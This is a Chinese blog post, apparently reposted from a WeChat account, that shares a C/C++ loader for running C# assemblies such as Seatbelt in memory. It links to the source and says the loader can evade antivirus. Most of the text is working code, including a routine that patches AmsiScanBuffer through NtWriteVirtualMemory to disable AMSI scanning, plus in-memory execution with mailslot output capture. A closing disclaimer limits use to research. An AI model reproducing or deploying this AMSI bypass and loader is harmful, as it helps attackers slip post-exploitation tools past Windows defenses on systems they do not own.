前言
这是一篇简短的文章,主要分享一个感觉还不错的c#程序加载代码,如果你已经了解过ExecuteAssembly_Mailslot,那基本就可以跳过了。
正文
问:ExecuteAssembly_Mailslot 是什么?
答:简单来说用c/c++编写的 c#加载器,测试了seatbelt运行良好
问:我做了什么?
答:缝合怪,真的,就是缝合怪 :)
具体到代码如下:(当然在下面链接可以找到所有修改之后代码)
-
• 微不足道的调试输出:
#ifdef _DEBUG
#define DEBUG_PRINT(x, ...) printf(x, ##__VA_ARGS__)
#else
#define DEBUG_PRINT(x, ...)
#endif
-
• 微不足道的参数传递
szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
if (NULL == szArglist)
{
DEBUG_PRINT("CommandLineToArgvW failedn");
return -1;
}
else for (i = 1; i < nArgs; i++) wargs += szArglist[i];
std::string args(wargs.begin(), wargs.end());
-
• Patch AMSI
这点很重要
BOOL patchAMSI()
{
#ifdef _M_AMD64
unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };//x64
#elif defined(_M_IX86)
unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };//x86
#endif
HINSTANCE hinst = LoadLibraryA(("amsi.dll"));
void* pAddress = (PVOID)GetProcAddress(hinst, ("AmsiScanBuffer"));
if (pAddress == NULL)
{
DEBUG_PRINT("AmsiScanBuffer failed");
return 0;
}
void* lpBaseAddress = pAddress;
ULONG OldProtection, NewProtection;
SIZE_T uSize = sizeof(amsiPatch);
//Change memory protection via NTProtectVirtualMemory
_NtProtectVirtualMemory NtProtectVirtualMemory = (_NtProtectVirtualMemory)GetProcAddress(GetModuleHandleA(("ntdll.dll")), ("NtProtectVirtualMemory"));
NTSTATUS status = NtProtectVirtualMemory(GetCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
if (status != 0) {
DEBUG_PRINT("[-] NtProtectVirtualMemory failed");
return 0;
}
//Patch AMSI via NTWriteVirtualMemory
_NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA(("ntdll.dll")), ("NtWriteVirtualMemory"));
status = NtWriteVirtualMemory(GetCurrentProcess(), pAddress, (PVOID)amsiPatch, sizeof(amsiPatch), NULL);
if (status != 0) {
DEBUG_PRINT("WriteVirtualMemory Failed");
return 0;
}
//Revert back memory protection via NTProtectVirtualMemory
status = NtProtectVirtualMemory(GetCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection);
if (status != 0) {
DEBUG_PRINT("[-] NtProtectVirtualMemory2 failed");
return 0;
}
//Successfully patched AMSI
return 1;
}
-
• CLR版本判断,也很重要
BOOL FindVersion(VOID* assembly, DWORD length) {
CHAR* assembly_c;
assembly_c = (char*)assembly;
CHAR v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
for (DWORD i = 0; i < length; i++)
{
for (INT j = 0; j < 10; j++)
{
if (v4[j] != assembly_c[i + j])
{
break;
}
else
{
if (j == (9))
{
return 1;
}
}
}
}
return 0;
}
-
• 循环获取执行结果输出
原代码默认加载的c#程序只执行一次,但是我们平时可能会碰到需要一直在后台运行的,所以创建线程执行.net程序集,然后循环读取管道输出
do {
//Read from our mail slot
if (!ReadSlot(outputString))
DEBUG_PRINT("Failed to read from mail slot");
if(!outputString.empty())
printf("%s", outputString.c_str());
if (WaitForSingleObject(hThread, 200) == WAIT_OBJECT_0)
// thread finish
break;
} while (TRUE);
你还能做什么?
加密原本的c#程序,使用分离加载或者将文件加密之后作为资源存放?
能免杀吗?
答:如能~
代码
https://github.com/jseclab/wechat_public/blob/main/bof/p1-1/ExecuteAssembly.cpp
原文始发于微信公众号(无名之):Coff Loader第一部分(补):C# 内存加载器
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论